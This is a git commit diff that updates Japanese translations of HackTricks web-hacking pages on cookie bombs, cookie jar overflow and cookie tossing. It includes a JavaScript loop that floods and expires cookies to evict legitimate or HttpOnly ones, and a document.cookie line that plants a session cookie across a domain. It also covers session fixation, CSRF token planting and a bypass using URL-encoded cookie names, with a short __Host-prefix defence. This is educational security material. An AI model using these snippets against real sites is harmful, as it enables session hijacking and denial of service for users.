Translated ['pentesting-web/hacking-with-cookies/cookie-bomb.md', 'pente

This commit is contained in:
Translator 2024-01-10 17:17:21 +00:00
parent bd12f82d99
commit dd09222dd5
78 changed files with 919 additions and 1590 deletions

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.6 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.6 KiB

After

Width:  |  Height:  |  Size: 16 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 16 KiB

After

Width:  |  Height:  |  Size: 132 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 132 KiB

After

Width:  |  Height:  |  Size: 20 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 20 KiB

After

Width:  |  Height:  |  Size: 8.1 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 8.1 KiB

After

Width:  |  Height:  |  Size: 51 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 51 KiB

After

Width:  |  Height:  |  Size: 32 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 32 KiB

After

Width:  |  Height:  |  Size: 39 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 39 KiB

After

Width:  |  Height:  |  Size: 72 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 72 KiB

After

Width:  |  Height:  |  Size: 322 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 322 KiB

After

Width:  |  Height:  |  Size: 36 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 36 KiB

After

Width:  |  Height:  |  Size: 34 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 34 KiB

After

Width:  |  Height:  |  Size: 176 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 176 KiB

After

Width:  |  Height:  |  Size: 152 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 152 KiB

After

Width:  |  Height:  |  Size: 31 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 31 KiB

After

Width:  |  Height:  |  Size: 71 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 71 KiB

After

Width:  |  Height:  |  Size: 65 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 65 KiB

After

Width:  |  Height:  |  Size: 42 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 42 KiB

After

Width:  |  Height:  |  Size: 43 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 94 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 94 KiB

After

Width:  |  Height:  |  Size: 199 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 199 KiB

After

Width:  |  Height:  |  Size: 145 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 145 KiB

After

Width:  |  Height:  |  Size: 1.2 MiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.2 MiB

After

Width:  |  Height:  |  Size: 100 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 100 KiB

After

Width:  |  Height:  |  Size: 12 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 12 KiB

After

Width:  |  Height:  |  Size: 121 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 121 KiB

After

Width:  |  Height:  |  Size: 7 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 7 KiB

After

Width:  |  Height:  |  Size: 72 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 72 KiB

After

Width:  |  Height:  |  Size: 60 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 60 KiB

After

Width:  |  Height:  |  Size: 223 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 223 KiB

After

Width:  |  Height:  |  Size: 27 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 27 KiB

After

Width:  |  Height:  |  Size: 32 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 32 KiB

After

Width:  |  Height:  |  Size: 15 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 15 KiB

After

Width:  |  Height:  |  Size: 90 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 90 KiB

After

Width:  |  Height:  |  Size: 15 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 19 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 19 KiB

After

Width:  |  Height:  |  Size: 78 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 78 KiB

After

Width:  |  Height:  |  Size: 38 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 38 KiB

After

Width:  |  Height:  |  Size: 795 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 795 KiB

After

Width:  |  Height:  |  Size: 104 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 104 KiB

After

Width:  |  Height:  |  Size: 17 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 17 KiB

After

Width:  |  Height:  |  Size: 68 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 68 KiB

After

Width:  |  Height:  |  Size: 154 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 154 KiB

After

Width:  |  Height:  |  Size: 74 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 74 KiB

After

Width:  |  Height:  |  Size: 14 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 14 KiB

After

Width:  |  Height:  |  Size: 53 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 53 KiB

After

Width:  |  Height:  |  Size: 15 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 60 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 60 KiB

After

Width:  |  Height:  |  Size: 13 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 13 KiB

After

Width:  |  Height:  |  Size: 7.8 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 7.8 KiB

After

Width:  |  Height:  |  Size: 48 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 48 KiB

After

Width:  |  Height:  |  Size: 76 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 76 KiB

After

Width:  |  Height:  |  Size: 36 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 36 KiB

After

Width:  |  Height:  |  Size: 237 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 237 KiB

After

Width:  |  Height:  |  Size: 56 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 56 KiB

After

Width:  |  Height:  |  Size: 43 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 43 KiB

After

Width:  |  Height:  |  Size: 79 KiB

View file

@ -720,6 +720,7 @@
* [Common API used in Malware](reversing/common-api-used-in-malware.md)
* [Word Macros](reversing/word-macros.md)
* [Linux Exploiting (Basic) (SPA)](exploiting/linux-exploiting-basic-esp/README.md)
* [ELF Tricks](reversing-and-exploiting/linux-exploiting-basic-esp/elf-tricks.md)
* [Format Strings Template](exploiting/linux-exploiting-basic-esp/format-strings-template.md)
* [ROP - call sys\_execve](exploiting/linux-exploiting-basic-esp/rop-syscall-execv.md)
* [ROP - Leaking LIBC address](exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/README.md)

View file

@ -1,39 +1,35 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
HackTricksをサポートする他の方法:
- 独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションである[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。
- [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
* **HackTricksであなたの会社を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください。
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
* **HackTricks**のPRを提出して、あなたのハッキングのコツを共有する [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) githubリポジトリ。
</details>
クッキーボムとは、**ユーザーに大量の大きなクッキーを追加する能力**であり、そのドメインとサブドメインに対して常に**大きなHTTPリクエストをサーバーに送信**させることを目的としていますクッキーのため。そのため、これにより、そのドメインとサブドメインのユーザーに対してDoSサービス拒否が発生します。
クッキーボムは、**ユーザーに多数の大きなクッキーを追加する**能力であり、その結果、被害者は常に**大きなHTTPリクエストをサーバーに送信する**ことになります(クッキーのために)。そして、**サーバーがリクエストを受け付けない**ことがあります。したがって、これはそのドメインとサブドメインのユーザーに対するDoSを引き起こすことになります。
良い**例**は、この解説で見ることができます:[https://hackerone.com/reports/57356](https://hackerone.com/reports/57356)
良い**例**は、このライトアップで見ることができます: [https://hackerone.com/reports/57356](https://hackerone.com/reports/57356)
さらなる情報については、このプレゼンテーションをご覧ください:[https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers?slide=26](https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers?slide=26)
さらに詳しい情報は、このプレゼンテーションをチェックしてください: [https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers?slide=26](https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers?slide=26)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
HackTricksをサポートする他の方法:
- 独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションである[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。
- [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
* **HackTricksであなたの会社を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください。
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
* **HackTricks**のPRを提出して、あなたのハッキングのコツを共有する [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) githubリポジトリ。
</details>

View file

@ -1,21 +1,19 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をチェック!</strong></summary>
- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
HackTricksをサポートする他の方法:
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
- [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください。
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**、または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する。
</details>
ブラウザは、ページごとに保存できる**クッキーの数に制限**があります。そのため、何らかの理由で**クッキーを消去**する必要がある場合、最も古いクッキーが削除されるため、**クッキージャーをオーバーフロー**させることができます。
ブラウザには、ページで保持できる**クッキーの数に制限**があります。したがって、何らかの理由で**クッキーを消失させたい**場合は、**クッキージャーをオーバーフロー**させることができます。古いものから削除されるからです:
```javascript
// Set many cookies
for (let i = 0; i < 700; i++) {
@ -27,27 +25,25 @@ for (let i = 0; i < 700; i++) {
document.cookie = `cookie${i}=${i};expires=Thu, 01 Jan 1970 00:00:01 GMT`;
}
```
第三者のドメインを指すサードパーティのクッキーは上書きされません。
異なるドメインを指すサードパーティのクッキーは上書きされません。
{% hint style="danger" %}
この攻撃は、**HttpOnlyクッキーを上書きするためにも使用できます。クッキーを削除してから、任意の値でリセットすることができます**。
この攻撃は、**HttpOnlyクッキーを削除してから、任意の値で再設定することで上書きすることも可能です**。
[**この記事のラボ**](https://www.sjoerdlangkemper.nl/2020/05/27/overwriting-httponly-cookies-from-javascript-using-cookie-jar-overflow/)をチェックしてください。
この方法については[**このラボの投稿**](https://www.sjoerdlangkemper.nl/2020/05/27/overwriting-httponly-cookies-from-javascript-using-cookie-jar-overflow/)で確認してください。
{% endhint %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をチェックしてください!</strong></summary>
- **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
HackTricksをサポートする他の方法:
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
- [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出**してください。
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式のPEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手してください。
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックしてください。
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加するか**、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォローしてください**。
* **HackTricks**のGitHubリポジトリ[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出して、あなたのハッキングのコツを**共有してください**。
</details>

View file

@ -1,79 +1,90 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
HackTricksをサポートする他の方法:
- 独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションである[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見してください。
- [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
- **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください。
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
* **HackTricks**のPRを[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリに提出して、あなたのハッキングのコツを共有してください。
</details>
## 説明
もし攻撃者が**企業のサブドメインまたはドメインを制御できるか、サブドメインでXSSを見つける**ことができれば、この攻撃を実行することができます。
攻撃者が**サブドメインまたは会社のドメインを制御できるか、サブドメインでXSSを見つけた場合**、この攻撃を実行できます。
Cookieハッキングのセクションで示されているように、**cookieがドメインに設定されるとそれを指定してドメインとサブドメインで使用されます。**
Cookies Hackingセクションで指摘されたように、**cookieがドメインに設定されるとそれを指定してドメインとサブドメインで使用されます。**
{% hint style="danger" %}
したがって、**攻撃者はドメインとサブドメインに特定のcookieを設定することができます** `document.cookie="session=1234; Path=/app/login; domain=.example.com"`のようなことを行います。
したがって、**攻撃者は特定のcookieをドメインとサブドメインに設定することができます**。例えば `document.cookie="session=1234; Path=/app/login; domain=.example.com"`
{% endhint %}
これは危険です。攻撃者はのことができるかもしれません:
これは危険です。攻撃者は以下のことができるかもしれません:
* **被害者のcookieを攻撃者のアカウントに固定化**することで、ユーザーが気づかない場合、**彼は攻撃者のアカウントで操作を行い**、攻撃者は興味深い情報を入手するかもしれません(プラットフォームでのユーザーの検索履歴をチェックしたり、被害者がクレジットカードをアカウントに設定したり...
* もし**ログイン後にcookieが変わらない**場合、攻撃者は単に**cookieを固定化**し、被害者がログインするのを待ってから、そのcookieを使用して**被害者としてログイン**することができます。
* もし**cookieが初期値を設定している**場合flaskのように**cookie**がセッションの**CSRFトークン**を**設定**し、この値が被害者がログインした後も維持される場合)、**攻撃者はこの既知の値を設定し、それを悪用**することができますこのシナリオでは、攻撃者はCSRFトークンを知っているため、ユーザーにCSRFリクエストを実行させることができます)。
* **被害者のcookieを攻撃者のアカウントに固定する**。ユーザーが気づかなければ、**攻撃者のアカウントで行動を行い**、攻撃者は興味深い情報を得るかもしれません(プラットフォームでのユーザーの検索履歴をチェックする、被害者がアカウントにクレジットカードを設定するなど)。
* **ログイン後にcookieが変更されない場合**、攻撃者は単に**cookieを固定する**ことができ、被害者がログインするのを待ってから、そのcookieを使用して被害者としてログインすることができます。
* **cookieが初期値を設定している場合**例えばflaskでは、**cookie**がセッションの**CSRFトークン**を設定し、この値が被害者がログインした後も維持される場合)、**攻撃者はこの既知の値を設定してそれを悪用することができます**そのシナリオでは、攻撃者はCSRFトークンを知っているので、ユーザーにCSRFリクエストを行わせることができます)。
## Cookieの順序
ブラウザが同じ名前の2つのcookieを受け取った場合、**同じスコープドメイン、サブドメイン、パスに部分的に影響を与える場合、ブラウザは両方のcookieの値を送信します**。
ブラウザが同じ名前の2つのcookieを受け取り、**部分的に同じスコープに影響を与える**(ドメイン、サブドメイン、パス)場合、**リクエストに両方が有効である場合、ブラウザはcookieの両方の値を送信します**。
最も**具体的なパスを持つもの**または**最も古いもの**によって、ブラウザは**最初にcookieの値を設定**し、その後に他のcookieの値を設定します。例:`Cookie: iduser=MoreSpecificAndOldestCookie; iduser=LessSpecific;`
**最も具体的なパスを持っているか**、または**最も古いもの**に応じて、ブラウザは**最初にcookieの値を設定し**、その後に他のものの値を設定します。例:`Cookie: iduser=MoreSpecificAndOldestCookie; iduser=LessSpecific;`
ほとんどの**ウェブサイトは最初の値のみを使用**します。したがって、攻撃者がcookieを設定する場合は、他のcookieが設定される前に設定するか、より具体的なパスで設定する方が良いです
ほとんどの**ウェブサイトは最初の値のみを使用します**。したがって、攻撃者がcookieを設定したい場合は、他のものが設定される前に設定するか、より具体的なパスで設定する方が良いでしょう
{% hint style="warning" %}
さらに、**より具体的なパスでcookieを設定**できる能力は非常に興味深いです。これにより、**被害者は自分のcookieで作業できるようになりますが、悪意のあるcookieが送信されるパスでは、そのcookieが先に送信されます**。
さらに、**より具体的なパスでcookieを設定する能力**は非常に興味深いです。これにより、**被害者は特定のパス以外で自分のcookieを使用することになりますが、その特定のパスでは悪意のあるcookieが先に送信されます**。
{% endhint %}
## 保護のバイパス
この攻撃に対する可能な保護は、**ウェブサーバーが2つの異なる値を持つ同じ名前のcookieを受け入れない**ようにすることです。
この攻撃に対する可能な保護は、**ウェブサーバーが同じ名前の2つの異なる値を持つcookieを含むリクエストを受け入れない**ことです。
攻撃者が被害者にすでにcookieが与えられた後にcookieを設定しているシナリオをバイパスするために、攻撃者は**cookieオーバーフロー**を引き起こし、その後、**正規のcookieが削除された後に悪意のあるcookieを設定**することができます。
攻撃者が被害者にcookieが与えられた後にcookieを設定するシナリオをバイパスするために、攻撃者は**cookieオーバーフロー**を引き起こし、**正当なcookieが削除された後に悪意のあるものを設定する**ことができます。
{% content-ref url="cookie-jar-overflow.md" %}
[cookie-jar-overflow.md](cookie-jar-overflow.md)
{% endcontent-ref %}
また、**バイパス**に役立つもう1つの方法は、**cookieの名前をURLエンコード**することです。一部の保護は、リクエスト内の同じ名前の2つのcookieをチェックし、サーバーがcookieの名前をデコードするため、名前のエンコードをチェックします。
別の有用な**バイパス**は、cookieの名前を**URLエンコードする**ことです。なぜなら、いくつかの保護はリクエストで同じ名前の2つのcookieをチェックし、その後サーバーがcookieの名前をデコードするからです。
## Cookie Bomb
Cookie Tossing攻撃は、**Cookie Bomb**攻撃を実行するためにも使用できます
Cookie Tossing攻撃は、**Cookie Bomb**攻撃を実行するためにも使用されるかもしれません
{% content-ref url="cookie-bomb.md" %}
[cookie-bomb.md](cookie-bomb.md)
{% endcontent-ref %}
## 防御
## 防御
### cookie名に接頭辞`__Host`を使用する
### **cookie名にプレフィックス`__Host`を使用する**
* cookie名にこの接頭辞がある場合、それは**Secureにマークされ、セキュアなオリジンから送信され、Domain属性を含まず、Path属性が/に設定されている**場合にのみ、Set-Cookieディレクティブで受け入れられます。
* **これにより、サブドメインがcookieをapexドメインに強制することができなくなります。これらのcookieは「ドメインロックされた」と見なされる可能性があります。**
* このプレフィックスがcookie名にある場合、Set-Cookieディレクティブでのみ受け入れられ、Secureとマークされ、セキュアなオリジンから送信され、Domain属性が含まれず、Path属性が/に設定されている必要があります
* **これはサブドメインが頂点ドメインにcookieを強制するのを防ぐのに役立ちます。これらのcookieは「ドメインロック」と見なされるかもしれません**
## 参考文献
* [**@blueminimal**](https://twitter.com/blueminimal)
* [**https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers**](https://speakerdeck.com/filedescriptor/the-cookie-mon
- [💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[テレグラムグループ](https://t.me/peass)に参加するか、[Twitter](https://twitter.com/hacktricks_live)で私をフォローしてください[🐦](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[@carlospolopm](https://twitter.com/hacktricks_live)。
* [**https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers**](https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers)
* [**https://github.blog/2013-04-09-yummy-cookies-across-domains/**](https://github.blog/2013-04-09-yummy-cookies-across-domains/)
- ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。
<details>
